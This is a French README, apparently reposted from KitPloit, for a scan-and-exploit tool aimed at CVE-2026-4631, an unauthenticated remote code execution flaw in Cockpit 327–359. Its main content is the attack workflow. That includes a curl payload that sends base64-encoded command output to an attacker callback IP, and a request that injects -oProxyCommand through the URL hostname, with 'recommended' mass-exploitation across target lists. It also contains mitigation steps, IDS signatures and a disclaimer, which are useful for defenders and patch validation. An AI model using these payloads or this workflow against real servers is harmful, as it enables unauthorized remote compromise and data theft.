CVE-2026-4631-cockpit-RCE

Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH Cockpit versions 327 – 359 | CVSS 9.8 Critique | CWE-78

Préparer la cible

Modifiez targets.txt — un hôte par ligne. Le port :9090 est automatiquement ajouté s'il est absent :

Exécuter (Mode AUTO — Recommandé)

Autres modes

Remarque sur le rappel

CVE-2026-4631 est un RCE aveugle — la sortie de la commande n'est pas renvoyée dans la réponse HTTP. L'outil utilise un écouteur HTTP intégré (port par défaut 8888) pour capturer la sortie. Assurez-vous :

1. --callback-ip est une IP accessible depuis la cible (pas 127.0.0.1)
2. Le pare-feu autorise le trafic TCP entrant sur le port 8888 (ou --listener-port personnalisé)
3. La cible peut émettre du trafic HTTP sortant vers l'IP de l'attaquant

Comment corriger / atténuer (Défenseur)

1. Mettre à niveau Cockpit (Obligatoire)

2. Désactiver la connexion à distance (Solution de contournement)

Modifiez /etc/cockpit/cockpit.conf :

Redémarrez le service :

3. Segmentation réseau

Restreignez le port 9090 au seul réseau d'administration :

4. Mettre à niveau OpenSSH >= 9.6

Atténue le vecteur 1 (injection ProxyCommand) via la validation précoce du nom d'hôte :

5. Correctif manuel (rétroportage)

Si la mise à niveau vers 360 n'est pas possible, appliquez les commits de correctif :

• cockpit 9d0695647 — ajout du séparateur -- dans beiboot.py et cockpitauth.c
• ferny 44ec511c99 — ajout de -- dans session.py

Détail du correctif : voir docs/PATCH_ANALYSIS.md

Table des matières

1. Résumé de la vulnérabilité
2. Vecteurs d'attaque
3. Prérequis d'exploitation
4. Installation
5. Utilisation
6. Modes de fonctionnement
7. Exemples d'exécution
8. Format de sortie
9. Architecture de l'outil
10. Structure des fichiers
11. Mécanisme de capture RCE aveugle
12. Détection et atténuation
13. Avertissement légal
14. Références

Résumé de la vulnérabilité

Cockpit v327 a remplacé cockpit-ssh (libssh) par python3 -m cockpit.beiboot qui invoque le client ssh OpenSSH système. Des entrées contrôlées par l'utilisateur — le nom d'hôte du chemin URL et le nom d'utilisateur de l'en-tête Authorization: Basic — sont transmises à ssh sans assainissement et sans le séparateur de fin d'options --. L'injection se produit avant la vérification des identifiants, donc aucune connexion valide n'est nécessaire.

Vecteurs d'attaque

Vecteur 1 — Injection ProxyCommand (Principal)

Le nom d'hôte du chemin URL est injecté avec l'option SSH -oProxyCommand=<cmd>.

SSH analyse -oProxyCommand=<cmd> comme une option, exécute <cmd> comme ProxyCommand. La commande s'exécute en tant que processus utilisateur cockpit-ws.

Prérequis : OpenSSH < 9.6 sur la cible. OpenSSH 9.6+ dispose d'une validation précoce du nom d'hôte qui bloque les métacaractères.

Vecteur 2 — Injection du jeton %r du nom d'utilisateur (Secondaire)

Le nom d'utilisateur de l'en-tête Authorization: Basic est injecté avec une commande shell.

SSH développe %r avec le nom d'utilisateur dans la directive Match exec → le shell exécute la commande injectée.

Prérequis : le ssh_config de la cible possède une directive Match exec avec le jeton %r.

Prérequis d'exploitation

Côté attaquant (machine exécutant l'outil)

• Python 3.8+
• IP accessible depuis la cible Cockpit (pour l'écouteur de rappel)
• Port ouvert pour l'écouteur (par défaut 8888)
• Pare-feu autorisant le trafic entrant de la cible vers le port de l'écouteur

Côté cible (instance Cockpit)

• Version Cockpit 327 – 359
• Port 9090 accessible
• Fonctionnalité de connexion à distance (LoginTo) non désactivée
• Pour le vecteur 1 : OpenSSH < 9.6
• Pour le vecteur 2 : ssh_config avec Match exec %r

Installation

Dépendances

• requests>=2.31 — client HTTP pour les requêtes d'exploitation
• colorama>=0.4 — sortie terminal colorée

Aucune dépendance supplémentaire pour l'écouteur (utilise les bibliothèques standard http.server + threading).

Utilisation

Modes de fonctionnement

Mode 1 — Scan de vulnérabilité (--scan)

Sonde le point d'accès /cockpit+=probe-host/login sans exploitation. Détecte :

• Empreinte digitale Cockpit via les en-têtes/corps de réponse
• Flux de connexion vulnérable actif (code de réponse 401/403/200/500)
• Inférence de version si possible

N'envoie pas de charge utile dangereuse, pas besoin d'écouteur de rappel.

Mode 2 — RCE avec capture de commande (-c "cmd")

Exécute une commande sur la cible, capture la sortie via rappel :

• Lancement en arrière-plan d'un écouteur HTTP intégré
• La charge utile ProxyCommand encapsule la commande avec curl pour exfiltrer vers l'écouteur
• La sortie est base64, envoyée en POST à l'écouteur
• L'écouteur décode et fait correspondre à la cible via l'ID de requête
• Le résultat est écrit dans le fichier de sortie
• Si -c n'est pas fourni, la commande par défaut = id

Mode 3 — AUTO (--auto) — Recommandé

Scan + exploitation en une seule passe, commande par défaut id :

1. Analyse la liste des cibles (ajout automatique du port 9090 si absent)
2. Démarre l'écouteur de rappel
3. Par cible : scan → si VULN, exploitation immédiate avec id (ou -c pour remplacer)
4. Les cibles NOT VULN / UNREACHABLE sont ignorées (non exploitées)
5. Résultat : host [ uid=0(root) ... ]

Mode 4 — Vecteur automatique (--vector auto)

Essaie d'abord le vecteur 1 (ProxyCommand). Si la réponse indique OpenSSH >= 9.6 (erreur de validation du nom d'hôte), bascule sur le vecteur 2 (nom d'utilisateur %r).

Normalisation automatique du port

Chaque entrée dans targets.txt sans port reçoit automatiquement :9090 :

Exemples d'exécution

AUTO — Scan + Exploitation (Recommandé)

Sortie results.txt :

Scan de vulnérabilité — Cibles multiples

Sortie scan_results.txt :

RCE — Cible unique

Sortie :

RCE — Cibles multiples avec capture de commande

RCE — Vecteur spécifique

Réglage de la concurrence et du délai d'attente

Débogage via proxy

Format de sortie

Format du fichier de résultats : une ligne par cible.

L'en-tête du fichier de résultats enregistre l'horodatage, la commande, le vecteur et le nombre de cibles.

Architecture de l'outil

Composants

• exploit.py — point d'entrée, analyse des arguments, envoie à l'orchestrateur, affiche la bannière
• core/target.py — lit -f fichier / -t url, normalise (ajout http://, port par défaut 9090), dédoublonne
• core/scanner.py — mode --scan, sonde le point d'accès, identifie Cockpit, infère la vulnérabilité
• core/exploit.py — génère la charge utile par vecteur, envoie la requête d'exploitation via requests
• core/listener.py — ThreadingHTTPServer sur --callback-ip:--listener-port, analyse ?id=REQID&out=BASE64, stocke dans le dict partagé
• core/engine.py — orchestrateur : démarre l'écouteur, crée un ThreadPoolExecutor, fait correspondre le rappel à la cible via l'ID de requête, gère le délai d'attente, écrit le résultat
• utils/banner.py — bannière ASCII
• utils/result.py — écrit le fichier de résultats au format host [ output ]

Structure des fichiers

Mécanisme de capture RCE aveugle

CVE-2026-4631 est un RCE aveugle — la sortie de la commande n'est pas renvoyée dans la réponse HTTP de Cockpit. L'outil contourne cela avec un écouteur HTTP de rappel intégré :

Flux

1. Démarrage de l'écouteur — serveur HTTP en thread écoute sur --callback-ip:--listener-port
2. Génération d'un REQID — par cible, UUID4 hex 8 caractères unique
3. Construction de la charge utile — ProxyCommand encapsule la commande avec curl pour exfiltration :
   root@kitploit:~

   bash -c 'curl -s http://IP_RAPPEL:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
   

4. Encodage URL de la charge utile — injection dans le champ du nom d'hôte :
   root@kitploit:~

   GET /cockpit+=-oProxyCommand=<PAYLOAD_ENCODÉ_URL>/login
   Authorization: Basic base64("x:x")
   

5. Envoi de la requête — via requests.get, verify=False pour les certificats auto-signés
6. Attente du rappel — interroge le dict partagé results[REQID] jusqu'à --timeout
7. Correspondance et décodage — si rappel reçu, décode la sortie base64, fait correspondre à la cible via REQID
8. Écriture du résultat — host [ sortie_décodée ] dans le fichier de sortie

Repli sans rappel

Si le délai d'attente expire sans rappel, vérifie l'erreur SSH dans la réponse :

• Erreur de validation du nom d'hôte → OpenSSH >= 9.6, vecteur 1 bloqué → VULN - aucun rappel (OpenSSH >= 9.6 ?)
• Erreur de connexion → UNREACHABLE
• Point d'accès inexistant → NOT VULN

Concurrence

• ThreadPoolExecutor(max_workers=--threads) parallèle par cible
• dict[REQID] -> hôte_cible partagé + dict[REQID] -> sortie avec threading.Lock
• ThreadingHTTPServer gère les rappels concurrents
• try/except par cible : erreur de connexion, erreur SSL, délai d'attente

Détection et atténuation

Signature IDS réseau

Surveillez :

• -oProxyCommand= dans le chemin URL
• Point-virgule (;) dans la valeur Authorization: Basic décodée

Recherche dans les journaux

Atténuation

1. Mettre à niveau Cockpit >= 360 (correctif obligatoire)
2. Désactiver la connexion à distance — /etc/cockpit/cockpit.conf :
   root@kitploit:~

   [WebService]
   LoginTo = false
   

3. Segmentation réseau — restreindre le port 9090 au réseau d'administration :
   root@kitploit:~

   iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
   iptables -A INPUT -p tcp --dport 9090 -j DROP
   

4. Mettre à niveau OpenSSH >= 9.6 — atténue le vecteur 1 (validation précoce du nom d'hôte)

Vérification de version

Avertissement légal

Cet outil est destiné aux tests de pénétration autorisés, à la recherche en sécurité et à la validation de vulnérabilité sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite d'être testés.

L'utilisation de cet outil sur des systèmes sans autorisation explicite du propriétaire est illégale et peut entraîner des sanctions pénales conformément aux lois applicables (en Indonésie : UU ITE Articles 30-33).

L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil. Utilisez-le de manière éthique et responsable.

Cas d'utilisation autorisés :

• Audit de sécurité sur votre propre infrastructure
• Engagement de test de pénétration avec un périmètre écrit
• Validation de correctif dans un environnement de laboratoire
• CTF et formation en sécurité

Références

Licence

À des fins de recherche et de tests autorisés. Pas de distribution commerciale sans autorisation.